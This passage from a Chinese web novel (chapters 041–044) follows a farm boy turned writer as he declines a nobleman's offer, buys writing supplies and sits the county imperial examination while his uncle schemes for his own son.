“在下不过一介执笔者,只负责写话本,其他事情,一概不懂,也无权过问。” 这番话,无疑是彻底拒绝了高衙内的招揽,甚至将皮球踢回给了林远峰。 车厢内,瞬间陷入了一种令人窒息的沉默。 下一刻,随从中的刀疤脸汉子再也按捺不住,他怒目圆睁,向前一步,厉声喝道:“小子!你别给脸不要脸!” 说着,他便要伸手去抓陆明渊的衣领,眼中凶光毕露。 陆明渊的眼神微冷,他早已预料到会有此一幕,全身肌肉瞬间紧绷,做好了应对的准备。 他虽是文弱书生,但常年劳作,身体并不孱弱。 然而,就在刀疤脸的手即将触及陆明渊的瞬间,车厢内却传来高衙内一声冷喝:“住手!” 刀疤脸汉子动作一僵,不甘地收回了手,却依然恶狠狠地盯着陆明渊。 “哼。” 高衙内在车厢内又是一声冷哼,语气中带着一丝不悦,却又强压着怒火。 “谈判不成便动手,岂不是堕了本衙内的身份?本衙内还要脸面,做不出这等粗鄙之事。” 陆明渊心中微松,他知道高衙内此举,更多的是为了维护自己的体面,而非真的顾忌他一个农家子。 “既然你执意如此,本衙内也不强求。” 高衙内的声音再次响起,却已不复之前的咄咄逼人,反而多了一丝故作大度的姿态。 “不过,本衙内看你倒也像个读书人,有几分傲骨。既然《石猴记》你不想卖,那便再写一本其他的。” “本衙内可以先付你一百两银子作定金。” “而且,本衙内还可以给你一个机会。” 高衙内继续抛出筹码:“只要你跟本衙内合作,高家府学的束脩,全免!并且,本衙内还能请我的举人叔叔,亲自给你上课,指点你的学问。” 高家府学,那是江陵县最好的学府,寻常农家子弟,便是倾家荡产也难以进入。 而高衙内的举人叔叔,更是学富五车,受其指点,前途不可限量。 “你好好考虑清楚。” 高衙内说完这句,便不再多言。 他挥了挥手,示意随从们离开。 陆明渊没有急着转身,只是静静地看着那华贵的马车离开。 等待对方离远,这才迈步走向四宝斋。 刚一踏入,便有淡淡的松烟墨香扑面而来。 掌柜的正伏案拨弄着算盘。 听到脚步声,他抬起头,目光在触及陆明渊的瞬间,便亮了起来。 “哎哟,陆公子!稀客,稀客啊!” 掌柜的放下算盘,笑容堆满了脸,连忙迎了上来。 陆明渊将手中的信笺递了过去,微微颔首,言语平和。 “掌柜的客气了。在下今日前来,是想添置些笔墨纸砚。近来手头宽裕了些,便想着多加练习笔法,以求精进。” “只是,练字耗费巨大,还望掌柜的能帮我挑些实惠且性价比高的用具。” 掌柜的接过信笺,粗略扫了一眼,便将其小心翼翼地收好,脸上笑意更浓。 “陆公子有此志向,实在令人敬佩!练字一道,讲究心性与勤勉,至于工具,自然也要趁手。” “陆公子放心,本店别的没有,好东西却是不少。论性价比,我这儿有套笔墨纸砚,最是合适!” 他一边说着,一边麻利地从柜台后取出几样物件。 那是一支笔杆乌黑、笔毫尖挺的羊毫笔,一锭墨色沉郁、泛着幽光的徽墨,以及一方石质细腻、触手温润的砚台。 “陆公子请看,” 掌柜的将笔墨纸砚小心翼翼地摆放在桌上,指着它们一一介绍。 “这套笔墨纸砚,单售五两银子。” “论材论工,它比不上那些动辄十五两、二十两的名家之作,但若论实用,论练字的效果,却丝毫不逊色。” “笔毫韧性十足,墨色入纸如化,砚台发墨均匀,用来日常练字,再合适不过。” 他顿了顿,又补充道:“念在陆公子是老主顾,又持林掌柜手信,我再额外送陆公子一刀上好的青麻纸!此纸吸墨适中,坚韧耐用,最宜初学者。” 陆明渊拿起那支羊毫笔,在指间轻轻转动,感受着笔杆的温润与笔锋的弹性。 他知道,这掌柜的并非虚言,这些物件确实是练字的上佳之选。 他真心实意地向掌柜的道谢:“掌柜的盛情,陆明渊铭记于心。” 掌柜的连连摆手,脸上笑容不减,吩咐伙计将笔墨纸砚打包妥当,又额外送上一刀青麻纸。 “陆公子,这套笔墨纸砚,原价五两银子,加上那刀青麻纸,也算是值回票价了。” “不过,有林掌柜的书信在此,我给陆公子算三两银子,便是六折。” 掌柜的递过账单,见陆明渊眼中闪过一丝疑惑,便主动解释道:“陆公子有所不知,林掌柜的书店,所有文房用具,都是从我四宝斋采购的。” “平日里,他与我这儿的生意往来,已是赚得盆满钵满。” “今日陆公子是第一次持他手信前来,我作为掌柜的,自然要给足了林掌柜面子,也要给足了陆公子面子。” “六折,已是我这个掌柜的权限所能给出的最大心意了,再高,便要请示东家了。还望陆公子海涵。” 陆明渊闻言,心中不由得一暖。 这掌柜的言语之间,透着一股江湖气,却又深明人情世故。 他不仅给了实惠,还解释了缘由,这份坦诚,令人心生敬意。 他不再推辞,从怀中掏出三两银子,递给掌柜的。 “多谢掌柜的厚待。” 陆明渊接过打包好的文房四宝,想了想,又开口问道:“掌柜的,在下还有一事相询。不知在县城之中,购置一处两进两出的宅院,大概需要多少银两?” 掌柜的闻言,眼中闪过一丝讶异,但很快便恢复了常态。 他打量了一下陆明渊,心想这年轻人,果然不是等闲之辈。 这才赚了些银子,便开始考虑置办房产,这份魄力,寻常人可是没有的。 “两进两出的宅院啊……” 掌柜的捻了捻山羊胡,沉吟片刻,给出了一个大致的范围。 “这要看地段和房子的新旧程度了。若是地段稍偏僻些,房龄老些,家具陈设简单些的,约莫三十两银子便可寻到。” “若是地段好些,靠近主街或学府,房子新净,家具齐全的,那便要五十两银子往上了,甚至更高。这些物件,都得实地去看,才能定夺。” 他看出了陆明渊眼中的思量,接着说道:“陆公子若是有此意向,我可以替您留意一番。” “咱们四宝斋在县城里也有些年头了,多少认识些牙行和房主,放出话去,总能寻到些合适的。” 陆明渊向掌柜的拱手道:“如此便劳烦掌柜的了。若有合适的消息,还请掌柜的告知。待在下下次前来,绝不会让掌柜的白白打听消息。” 掌柜的哈哈一笑:“陆公子客气了!能为陆公子效劳,是老朽的荣幸!” 第041章 即将考试 回到家中,陆从文便又一头扎进了田地,日出而作,日落而息。 陆明渊清晨便起身,在蒙蒙亮的天光中,铺开青麻纸,研墨,提笔,沉心于经义文章的研习与笔法的精进。 羊毫笔在指间流转,墨色在纸上洇开,他不仅是临摹,更是揣摩。 将前世的记忆与今生的学识结合,打算走出一条属于自己的路。 时间如白驹过隙,半个月的光景,在墨香与书卷气中转瞬即逝。 窗外的风,从初夏的微热,渐染上盛夏的燥意。 而陆明渊的笔下,已然积攒了厚厚一摞的墨迹,字里行间,透出一股脱胎换骨的沉稳与锋锐。 这日午后,正当陆明渊在书房中细读《春秋》时,一阵轻缓的叩门声打破了院落的宁静。 来者是赵夫子,他身着一袭洗得发白的青衫:“明渊,三天之后,便是县试的日子了。” 陆明渊放下书卷,恭敬地站在一旁,静候夫子下文。 “为师知道你勤勉,学识也渐入佳境。”赵夫子轻抚着胡须:“但科举一道,非同小可。县试只是第一关,若要入仕,四个月后的府试,乃至明年的院试,你同样也要参加。” 他顿了顿,语气变得郑重。 “若能一年之内,连过三试,即便不是状元,亦是旷古绝今的壮举,足以名动一方。” “可这其中的艰辛与压力,非常人所能承受。你可曾想好?是否已然准备妥当?” “夫子,弟子心意已决。” 陆明渊的声音平静而有力,没有丝毫的犹豫与迟疑。 “这半个月来,弟子日夜苦读,对经义文章的理解,已然到了火候。笔法虽未臻至化境,却也足以表达心中所想。” “弟子有信心,能在县试之中,一举夺魁,拿下案首之位。” 赵夫子闻言,眼中闪过一丝讶异,随即便化作欣慰的笑意。 “好!有志气!” 赵夫子连连点头:“既然你已下定决心,那便不能再拖延。今日便动身,提前赶去县城!” 陆明渊微微一怔,不解其意。 赵夫子看出了他的疑惑,解释道:“科举之前,最忌舟车劳顿,身心疲惫。” “提前三天赶到县城,一是能让你适应县城环境,二来也能让身心放松,以最佳状态迎接考试。” “莫要等到临阵,才因身体不适而影响发挥,那便是得不偿失了。” 陆明渊闻言,心中豁然开朗,拱手道:“弟子受教!” 夫子考虑周详,他自当遵从。 他快步回到家中,将赵夫子的叮嘱告知了正在院中收拾农具的父母。 “爹,娘,夫子说三天后便是县试了,他让孩儿今日便启程,提前去县城准备。” 陆明渊将事情原委一一道来,目光落在父亲陆从文的脸上,带着一丝询问与期待。 陆从文放下手中的锄头,脸上没有丝毫的犹豫,直接大手一挥,斩钉截铁地说道:“去!当然要去!我儿有此志向,为父岂有不允之理!” “明渊,你只管放手去考,家里有我和你娘顶着。” “再说了,你三弟明文不也三天后要县试吗?你们兄弟俩一起去,路上也好有个照应!” 他越说越是激动,仿佛已经看到了儿子金榜题名的光景。 “这三天,我和你三叔都不下地了,科举大事,比什么都重要!” 此刻,陆家老太太陈氏从屋里走了出来。 听到父子二人的对话,她那张饱经风霜的脸上,也露出了难得的笑容。 她走到陆从文和陆从智跟前,郑重地叮嘱道:“你们两个,这三天一切从简,家里农活先放一放,一切都以两个孩子的科举为重。” “等考完县试,不管结果如何,都要带着他们兄弟俩在县城里置办些新衣服,算是犒劳,也是图个吉利!” 陆从文和陆从智听了,连连点头应和,脸上都洋溢着喜悦与期待。 是夜,陆家灯火通明。 陈氏亲手为陆明渊和陆明文准备了行装,几件换洗衣物,些许干粮。 第二天清晨,天色微亮,陆从文和陆从智便带着陆明渊,背上包裹和行李赶往县城。 一路跋涉,待到县城时,已是日上三竿。 县城里比往日更加热闹,街上人头攒动,各种叫卖声、马车声不绝于耳,空气中弥漫着一股紧张而又兴奋的气氛。 陆从智先是去寻了陆明文,而陆从文则带着陆明渊,径直去了城中最大的一家客栈——福来客栈。 客栈内人声鼎沸,大堂里挤满了前来投宿的学子和他们的家人。 店小二忙得脚不沾地,额头上冒着细密的汗珠。 陆从文好不容易才挤到柜台前,拱手问道:“小二哥,可还有空房?” 店小二头也不抬地拨弄着算盘,语气带着一丝不耐烦、 “哎哟,客官,您来得可真不巧!如今科举在即,县城里但凡能住人的地方,都快住满了!” “我们这儿,就剩下两个普通房间了,一天三十文,您是要住还是不住?” “什么?一天三十文?”陆从文闻言,眉头紧皱,忍不住抱怨道。 “这……这怎么涨了这么多?往日里,也不过十来文啊!” 店小二手中的算盘珠子拨得更快了,他抬起头,扫了一眼陆从文父子,眼中带着明显的轻蔑。 “客官,您是打哪儿来的乡下人?现在是什么时候?科举大考!多少学子从四面八方赶来!” “我们这福来客栈,那可是出了名的地段好,房间干净!爱住不住,后头还有几十号人排着队呢!” 他指了指身后乌压压的人群,语气愈发不客气,“要是不想要,赶紧走,别耽误小的做生意!” 陆从文被店小二抢白得脸上一阵青一阵白,他知道此刻不是计较的时候,只得连忙赔笑道:“要!要!小二哥莫恼,我们要了!两个房间,先住三天!” 店小二这才收敛了些许不耐,报出了价格:“两个房间,三天,一共二两银子。先付银子!” 陆从文心疼地从怀中掏出二两碎银,递了过去。 看着那白花花的银子转瞬即逝,他不由得在心里叹了口气。 陆明渊站在一旁,将这一切都看在眼里。 他心中感慨万千,这古代的科举,果然不是寻常人家能够承受的。 光是这住店的费用,便足以让许多贫寒学子望而却步。 这还未算上笔墨纸砚、书籍资料,乃至路途上的盘缠。 科举果然并非易事! 第042章 转眼间就到了县试的日子! 客栈外,陆从智拉着儿子陆明文,仔细叮嘱! 陆从智,这个平日里眉眼间满是精明的人,此刻却换上了一副严肃面孔。 他拉着儿子陆明文的手,避开了客栈大堂的熙攘,站在一处略显僻静的巷口。 “明文啊,” 陆从智的声音压得很低。 “这一次县试,你可一定要给老子争口气!考第几不重要,但……一定要考中!” 陆明文,一个比陆明渊略显稚嫩的少年,脸上写满了紧张与期待。 “爹,您放心!孩儿定当竭尽全力! 陆明文的声音有些颤抖,却充满了决绝。 “孩儿知道,只要能考中县试,您就有法子让我进入高家府学!” 陆从智闻言,眼中精光一闪,嘴角勾起一抹不易察觉的得意。 他轻轻拍了拍陆明文的肩膀,语气里带着几分循循善诱的蛊惑。 “不错!高家府学,那可是咱们县里最好的学堂!进去之后,有夫子们指点,有那些大家族子弟为伴,你的眼界自然就开阔了。” “到时候,府试、院试,甚至考个秀才,那还不是水到渠成的事情?” 一个“秀才”的身份,对于一个农家子弟而言,无疑是鱼跃龙门。 这意味着免除徭役,意味着家族地位的提升,意味着从此可以抬头挺胸,不再受人白眼。 陆明文的呼吸变得急促起来,他仿佛已经看到了自己身穿青衫,头戴方巾,在乡亲父老羡慕的目光中,迈入府衙大门的景象。 “爹!您说得对!孩儿一定能中!只要进了高家府学,孩儿就有希望!” 陆明文握紧了拳头,眼中闪烁着狂热的光芒。 陆从智看着儿子这副激动的模样,心头大定。 他得意地笑了,那笑容里,有对儿子前程的期许,更有对自己精明算计的满足。 读书种子? 他陆从智的儿子,可不就是个读书种子! 安抚好陆明文,陆从智便径直走向了福来客栈。 他寻到陆从文所住的房间,轻轻叩响了房门。 “大哥,是我,从智。” 房门吱呀一声开启,陆从文那张饱经风霜的脸上,带着一丝疲惫。 看到弟弟,他勉强挤出一丝笑容:“从智啊,明文可寻到了?” “寻到了,寻到了!他这不也刚回来嘛!” 陆从智踏入房间,目光不经意地扫过房间内简陋的陈设,心头划过一丝不易察觉的轻蔑,但很快便被他掩饰得滴水不漏。 他走到陆从文身边,压低声音道:“大哥,明文去年考过县试,虽然没中,但好歹也算是有经验了。” “我看啊,不如就让他给明渊说说县试里的门道,省得明渊头一遭,走了什么歪路。” 陆从文闻言,原本疲惫的脸上,瞬间涌上了一股暖流。 他这个弟弟,平日里虽然喜欢偷懒耍滑,对钱财看得重,但在大是大非面前,还是能拎得清的。 明文的经验,那可是实打实的,价值千金! 他竟然肯让明文给明渊传授,这其中蕴含的家族情谊,让陆从文感动不已。 “从智,你……你真是费心了!” 陆从文拍了拍弟弟的肩膀,眼中尽是感激。 “是啊,明渊头一次参加县试,能有明文指点,再好不过了!” 他转头看向正在桌前整理书卷的陆明渊。 “明渊,你明文弟弟去年考过县试,有些经验。你过去跟他好好学学,莫要辜负了你叔叔和明文的一番好意。” 陆明渊将这一切尽收眼底。 他前世在信息爆炸的时代摸爬滚打,对于人情世故的洞察力远超常人。 陆从智那眼底一闪而逝的精光,无法躲过他的视线。 不过,既然父亲开口,他自当遵从。 他点了点头,脸上带着恰到好处的恭敬与谢意。 “是,爹。多谢叔叔,多谢明文弟弟。” 他放下手中书卷,起身,与陆从文简单交代了几句,便随着陆从智来到了隔壁的房间。 隔壁房间,陆明文正坐在床沿,双手紧紧攥着,见到陆明渊进来,他忙不迭地站起身,脸上带着一丝得意的笑容,仿佛他已经考中了秀才一般。 “明渊,你来了!” “爹让我给你讲讲县试的经验,我去年可亲身经历过!” 陆明渊微笑着点了点头,找了个位置坐下。 陆明文一开口,便如同打开了话匣子,滔滔不绝。 他先是大谈特谈自己在考场上如何紧张,如何绞尽脑汁,又如何险些答不上题。 他的“经验之谈”,与其说是指点迷津,不如说是他个人经历的吹嘘。 他眉飞色舞地讲述着考场里的种种趣闻。 “……所以啊明渊,我跟你说,县试的时候,最重要的一点就是,千万不能去如厕!” “一旦出去了,就再也进不来了!所以,考试前一定要提前出恭!” 陆明明文说得口沫横飞,仿佛这是他能给出最宝贵的建议。 陆明渊听着,心中不由得叹了口气。 这些所谓的“经验”,赵夫子在半个月前便已事无巨细地叮嘱过,甚至连考试当天应该吃什么,穿什么,都详细到了极致。 至于自备笔墨纸砚,那更是常识中的常识,根本无需多言。 陆明文的言语中,除了这些无关痛痒的细节,便只剩下对自己“身经百战”的炫耀。 他甚至没能说出任何关于文章立意、破题技巧、或是如何应对考官偏好的实质性内容。 陆明渊面上不动声色,只是时不时地点头附和,偶尔插上一两句赞叹,以示自己听得认真。 他知道,陆明文并非恶意,只是心智尚未成熟,又急于表现自己。 在听了约莫半个时辰的“高谈阔论”后,陆明渊觉得无趣,但出于礼貌,他还是诚恳地拱手感谢了一番。 “多谢明文哥指点,这些经验明渊而言,着实宝贵。” 陆明文被这番话捧得心花怒放,他摆了摆手,故作老成地说道。 “嗐,都是自家兄弟,客气什么!以后有什么不懂的,尽管来问我!” 接下来的两天,县城的气氛愈发紧张,空气中都仿佛凝结着一股墨香与汗水的混合气味。 陆明渊没有再与陆明文多做交流,他将自己关在房间里,铺开青麻纸,研墨,提笔,沉心于经义文章的最后冲刺。 而陆从智,则像是换了一个人。 他不再是那个只知道盘算生意的市井小贩,而是化身成了陆从文最贴心的弟弟。 他拉着陆从文,穿梭于县城的大街小巷。 名义上是带他散心,实则却是趁着两人闲逛的时候,不动声色地对陆从文进行着“洗脑”。 “大哥啊,你看这县城,多气派!咱们村子,什么时候才能出个像样的读书人,能在这县城里站稳脚跟?” 陆从智指着高大的城墙,语气里满是感慨。 “咱们兄弟俩啊,虽然是亲兄弟,可说到底,也都是泥腿子。可明文和明渊不一样,他们是咱们陆家的希望!” 他时不时地提起陆明文的“聪明才智”,又偶尔提及陆明渊的“刻苦用功”,将两个侄子捧得天上有地下无。 他的话语,就像是细密的雨丝,无孔不入地渗透进陆从文的心田。 “大哥,你想啊,咱们是亲兄弟,明文和明渊,那也是亲兄弟!手足情深,理当互相扶持,共同进退。” “将来不管谁考中了,那都是咱们陆家的荣耀!” 陆从智的语气诚挚得仿佛不带一丝杂质,他拍着陆从文的肩膀,眼中流露出一种“为家族着想”的深沉。 陆从文听着弟弟的话,心里暖烘烘的。 他觉得陆从智说得没错,两个孩子都是陆家的希望,理应团结一心。 他哪里知道,陆从智所做的一切,不过是为了他那藏在心底的盘算铺垫。 为了他接下来,要让陆从文送陆明文去高家府学的真正目的。 两天时间一晃而逝,转眼间就到了县试的日子! 第043章 最重要的环节就来了! 两天时间一晃而逝,转眼间就到了县试的日子! 陆明渊草草用过早饭,便随着父亲和叔叔,以及陆明文一同,赶往考场。 县衙前的广场早已人山人海,牌坊高耸,檐角飞翘。 陆明渊随着人流,在维持秩序的衙役引导下,缓缓步入考场。 那是一片宽阔的院落,临时搭建起的考棚密密麻麻,如同蜂巢般排列。 在考场的入口处,有吏员手持名册,核对身份,然后指引考生前往各自的座位。 陆明渊接过写有自己考号的木牌,眼神平静地扫过。 他的座位,赫然被安排在了最靠近主考官高台的位置。 这位置,在寻常学子看来,是莫大的压力。 主考官的目光如炬,一举一动都尽收眼底,稍有差池,便可能被记过。 那些与他一同入场的考生,在看到陆明渊的考号后,不少人眼中都闪过一丝幸灾乐祸的窃笑。 在他们想来,这个位置,大概率是用来震慑那些心怀不轨之辈的。 陆明渊却是不以为然。他前世在信息爆炸的时代摸爬滚打。 经历过无数次决定命运的考试,从高考到各种资格认证,从笔试到面试,什么位置都坐过,什么阵仗都见过。 考场的氛围固然能影响心境,但无法动摇他的根本。 他径直走到自己的考棚,那是一个仅能容纳一人的小隔间,一方简陋的木桌,一张木凳,便是全部。 桌子上只放了几张青麻纸,并无笔墨! 陆明渊从自己的布袋里取出了平日里用惯的湖笔和徽墨。 不多时,考场的喧嚣声渐渐平息,一道威严的身影在几名吏员的簇拥下,缓步走上主考高台。 那是本次县试的主考官,一位须发皆白、面容清矍的老者,眼神锐利而深邃。 他环视一周,目光在陆明渊的考棚处稍作停留,随即收回,沉声道:“诸位学子,静!” 声音不大,却穿透了整个考场,瞬间让所有交头接耳之声戛然而止。 考官向众人宣讲了考试的规矩。 不得交头接耳,不得左顾右盼,不得夹带作弊,违者轻则逐出考场,重则终身禁考。 字字句句,如铁律般刻入人心。 规矩讲毕,考官挥了挥手,几名衙役上前,将考场的大门缓缓关上。 大门发出沉闷的“吱呀”声,仿佛隔绝了内外两个世界。 紧接着,六七位监考官入场。 他们在考棚间巡视,目光像鹰隼般锐利,不放过任何一丝异动。 陆明渊深呼吸一口气,缓缓吐出,调整着心境。 他闭上眼,将外界的嘈杂与压力尽数摒弃,脑海中只剩下那些熟悉的经义文章。 待心绪彻底平稳,他才重新睁开眼,目光清明,古井无波。 试卷由吏员分发至各个考棚。 陆明渊接过试卷,手指轻触纸面,墨香扑鼻。 他快速扫视了一遍题目,先是默写《论语》中的几段经典篇章,接着是几道关于儒家经典的释义题,最后,便是那篇决定成败的经义文章。 他没有丝毫犹豫,提起笔,饱蘸浓墨,指尖轻点,下笔如飞。 默写内容,对他而言不过是小菜一碟,拥有过目不忘的能力,他早已经将四书五经背诵的滚瓜烂熟。 他下笔如飞,速度之快,让周围几名监考官都为之侧目。 主考官在高台上,目光原本只是随意巡视,却很快被陆明渊所在的考棚吸引。 这个坐在自己眼皮子底下的少年,竟然写得如此之快? 他不由得来了几分兴趣,盯着陆明渊的试卷,看了起来! 字迹端正有力,笔法老辣,丝毫不见少年人的浮躁。 更重要的是,那些默写的内容,不仅一字不差,甚至连标点断句都恰到好处,毫无涂改之处。 “嗯。” 主考官微微颔首,轻声赞叹了一句,眼中不由得多了几分欣赏。 陆明渊并未察觉到主考官的关注,他只是沉浸在自己的世界里,笔耕不辍。 默写与释义部分,他仅仅用了不到半个时辰便已全部完成。 当他放下笔,轻轻吹干墨迹,将前几页工整地叠放在一旁时,考场内大部分人还在为一道释义题绞尽脑汁。 此时,他的目光落在了试卷的最后一页,那里,赫然写着本次县试的经义考题: 《子曰:君子不重则不威》 陆明渊没有急于动笔,而是将笔搁在笔架上,端坐不动。 他闭上眼,脑海中开始对这道考题进行深层次的思索。 “君子不重则不威”。 这是《论语·学而》中的一句经典。 表面上看,是说君子如果不庄重就没有威仪。 但仅仅停留在字面意思,未免流于浅薄。 真正的经义文章,需要从更深层次去挖掘,去阐发思想精髓,并结合当下时局,做出有见地的论述。 如何“解题”? 他首先从“重”字入手。 “重”不仅仅是外表的庄重,更是内心的沉稳、思想的深刻、德行的厚重。 一个真正的君子,其威仪并非来自权势的压迫,而是源于其内在的品格与学识。 解题思路有了,如何“破题”? 他决定从反面入手,先论述“不重”的危害,比如轻浮、浮躁、言行不一,这些都会导致失去威信。 再从正面阐述“重”的内涵,包括修身养性、谨言慎行、心怀天下。 接下来,最重要的环节就来了! 这也是决定了这篇文章是否能够高中的最重要一环! 如何“入题”? 开篇需要引人入胜,既要点明主旨,又要展现出自己的独特见解。 他想到了前世那些关于“权威”与“公信力”的讨论,那些在现代社会中,一个机构、一个领导者如何赢得尊重的案例。 这与古代的“威”有着异曲同工之妙。 真正的威,不是靠暴力,而是靠德行和信服。 一炷香的时间在静默中流逝。 考场内,笔尖划过纸面的沙沙声,间或夹杂着几声压抑的咳嗽。 陆明渊的思绪却愈发清晰,脑海中,无数的典故、思想、论证在他脑海中纷飞。 随着思绪清明,这些典故和思想的脉络逐渐清晰,文章的骨架已然搭建完成。 他缓缓睁开眼,眼底深处,闪烁着洞悉一切的智慧光芒。 他伸手,重新握住那支湖笔。 他要开始破题了! 第044章 等到开榜之日,一切都明了 他要开始破题了! 他选择的破题角度,不惊世骇俗,却求直指人心。 “夫子之言重非徒外饰之谓,乃谓君子心性之沉潜、德业之积累,自然而发为不可犯之威仪也。” 这句话敲开了经义文章的序幕。 它昭示着,所谓的“重”,并非仅仅是外在的刻意为之,更是一种由内而外的气质。 紧接着,笔锋一转,陆明渊提出了自己的承题名言。 “甚矣,君子之不可不重也!重非故作矜持之态,乃仁心义理充盈之自然气象。” 此言一出,既回应了孔夫子的教诲,又拓宽了“重”字的内涵,将其与儒家核心的“仁心义理”紧密相连。 墨迹淋漓,笔走龙蛇。 陆明渊下笔如行云流水,开篇便引人入胜,气势磅礴。 “尝思天地位而万物育,其道在厚载;君子立而天下仰,其道在重威。故德不厚者必轻浮,行不谨者必佻达,虽欲威而人孰畏之?” 天地以厚德载物,故能生养万物;君子以重威立世,方能使天下仰慕。 若无厚德,必如浮萍般轻薄,若无谨行,必如顽童般轻佻,即便身居高位,又怎能令人心悦诚服? 他的文章,并非简单地堆砌古籍,而是将那些千年前的智慧,用现代的视角重新解构、再行阐发。 他笔下的“重”,不仅是朝堂之上官员的威严,是师长对学生的教诲,是父兄对子弟的垂范。 主考官高台之上,那须发皆白的老者,此刻已然挪动了身躯。 他不再是随意地巡视,而是将目光牢牢地锁定在陆明渊的考棚。 方才的默写与释义,已然令他暗自称奇,而此刻,这少年笔下流淌出的经义文章,更是让他心神震动。 陆明渊的文章,引经据典,从《中庸》的“致中和”谈到“君子慎独”,再从《礼记》的“修身齐家治国平天下”论及“威仪内生”。 老者抚须,眼中光芒愈盛。 这少年,不仅学问扎实,更难得的是,能将古圣先贤的教诲,融会贯通,并能从中提炼出自己的见解。 他甚至在文章中,隐晦地批判了那些徒有其表、沽名钓誉之辈,认为他们“虽有冠冕之华,实无德行之厚,其威如浮云,风过即散。” 这等见识,绝非寻常少年所能及。 两炷香的时间,在陆明渊笔下,如同白驹过隙。 洋洋洒洒的六百余字,字字珠玑,句句铿锵。 将“君子不重则不威”这句简单的论语,阐发得淋漓尽致。 当最后一笔落下,陆明渊轻轻放下湖笔,长舒一口气。 他没有急于站起,而是静静地靠在木凳上,目光扫过自己的答卷。 他细致地从头到尾检查了一遍,确认没有错别字,没有语病,逻辑通顺。 一切皆臻完美。 他抬起头,透过考棚的缝隙,望向灰蒙蒙的天空。 铅灰色的云层低垂,仿佛要压下来一般,却又透着一丝隐约的光亮。 考场内,大部分考生依旧埋头苦思,笔尖沙沙作响,间或有几声烦躁的叹息。 陆明渊的心境却是一片平静。 他已经尽了全力,甚至超出了寻常学子的水准。 他不再去想那些繁复的经义,也不再去关注周围的喧嚣。 他只是静静等待着,等待着考试结束的钟声。 主考官收回了目光。 他微微闭眼,似乎在回味着陆明渊文章中的字句。 “此子,前途不可限量。” 他心中暗自下了评语,语气中带着一丝不易察觉的激动。 他已经很久没有在县试的考场上,看到如此令人眼前一亮,甚至可以说是惊艳的答卷了。 时间流逝,考场外传来沉闷的鼓声。 整个考场内,无论是还在奋笔疾书的学子,还是已然停笔等待的陆明渊,都为之一震。 “停笔!” 监考官们的厉喝声此起彼伏,回荡在考场上空。 所有考生,无论是否完成,都必须立即放下笔墨。 陆明渊缓缓将笔放入笔架,动作从容不迫。 他将自己的考卷,整整齐齐地叠放在桌面上,等待着吏员前来收卷。 空气中弥漫着紧张与疲惫交织的气息。 有人长舒一口气,有人面色沮丧,有人则眼神茫然。 吏员们开始在考棚间穿梭,小心翼翼地收拢着每一份试卷。 当一名吏员走到陆明渊的考棚前时,他的目光不自觉地在陆明渊整洁的试卷上多停留了几秒。 他虽然只是一个负责收卷的吏员,但耳濡目染之下,也多少能分辨出一些文章的优劣。 陆明渊的试卷,无论是字迹还是卷面,都堪称典范。 陆明渊将试卷递过去,礼貌地颔首。 吏员接过试卷,小心地将其夹在其他试卷中,然后匆匆走向下一个考棚。 收卷完毕,考场大门再次缓缓开启,发出沉重的吱呀声,仿佛又一次连接了两个世界。 考生们如同潮水般涌出考场,脸上带着各自不同的表情。 有人如释重负,有人唉声叹气,有人则激动地与同伴讨论着考题。 陆明渊随着人流缓缓步出贡院大门,他刚踏出大门,一道身影直直地朝着他奔来。 “明渊!明渊!” 陆明文从人群中挤了出来,脸庞涨得通红,额角的汗珠也来不及擦拭,急切地抓住了陆明渊的胳膊。 眼睛亮得惊人,神情激动不已。 “你考得如何?可还顺利?” 陆明渊看着他这副模样,唇角微不可察地牵动了一下,正欲开口,却被陆明文更为高亢的声音打断了。 “爹,我这次县试一定能中!” 陆明文根本没给陆明渊说话的机会。 “今天的经义题,简直是为我量身定做的!” “夫子之言重非徒外饰之谓,哼,我可把‘重’字从内到外,从古至今,从修身到治国,掰开了揉碎了,写的精彩无比!” “这一次中榜是稳了,便是前三甲,也未尝不可一争!” 他信誓旦旦,仿佛那金榜题名,已然是囊中之物。 陆从智听到这番话,脸上的激动之色再难遏制! 他搂着陆明文的肩膀,神情兴奋无比地喊道! “真的?” “明文,你真的这么有把握?” 陆明文点了点头,神情淡定,仿佛已经高中榜首! 陆从智见状直接将陆明文抱了起来,哈哈哈大笑道! “好,好儿子,我们陆家终于要出一个有功名的了!” “今天爹请客,好好给你庆祝庆祝!” 陆从文见陆明渊不言不语,以为他心中郁结,便主动上前,语气温和地安慰道。 “明渊啊,你第一次科举,紧张在所难免,发挥失常也是常有的事。” “不必放在心上,不重要,明年再来便是。” 陆从智听闻此言,心中更是乐开了花。 他原就觉得陆明渊这小子锋芒毕露,如今看来,不过是虚有其表。 这下陆明渊没中,他儿子陆明文却有望金榜题名,岂不是天大的好事? 陆明文若能高中,他便有理由让陆从文掏钱,送他儿子去高家府学! 想到这里,陆从智更是笑得开怀,褶子都挤到了一块儿。 他一改往日里抠抠索索的作风,竟大手一挥,豪气道:“今日我高兴!大哥,咱们一道去酒楼,我做东!就当是给两个孩子压惊!” 陆从文见他如此盛情,不好推辞,便也欣然应允。 四人便朝着城中一家名为“醉仙居”的酒楼行去。 醉仙居内,人声鼎沸,酒菜飘香。 临窗的位置,能看到街上熙熙攘攘的人群,以及远处巍峨的城墙。 陆从智今日确实是豁出去了,他点菜时眉毛都没眨一下,一口气点了四个肉菜。 酱肘子、红烧肉、爆炒腰花、还有一道香酥鸭,又叫了一壶上好的黄酒。 那架势,仿佛不是在县试放榜前的小聚,而是已经提前庆祝状元及第一般。 他打算跟陆从文把酒言欢,顺便再好好“开导开导”陆明渊。 很快,热气腾腾的菜肴便一一上齐,浓郁的肉香在空气中弥漫开来。 陆从智拿起酒壶,先是给陆从文斟满了一杯,接着,他又给陆明文和陆明渊各自倒了一杯。 陆从文见状,眉头微蹙,制止道:“明渊年纪尚轻,不宜饮酒。” 他素来严谨,对子侄辈的教导更是如此。 陆从智却摆了摆手,脸上挂着讨好的笑容。 “哎呀大哥,今日是特殊日子嘛!明文考得好,明渊也辛苦了。” “仅此一次,下不为例!今日开心,咱们都稍微喝一点儿!” 陆从文思索片刻,见陆从智说得恳切,便也点了点头,同意道:“既如此,便小酌一杯,浅尝辄止。” 陆明渊端起酒杯,闻着那股淳厚的酒香,轻轻抿了一口。 饭桌上,陆从智的得意和兴奋无法遏制。 他端着酒杯,不停地向陆从文敬酒,嘴里却还不忘“关心”陆明渊。 “明渊啊,你可别往心里去。科举这东西,看的是机缘,是运气。一回不成,还有二回三回嘛!” 他语重心长地劝慰着,好似是他高中科举一般。 陆明渊听着他这番言论,心中只觉有些无语。 他默默地吃着菜,偶尔抬眼看向窗外。 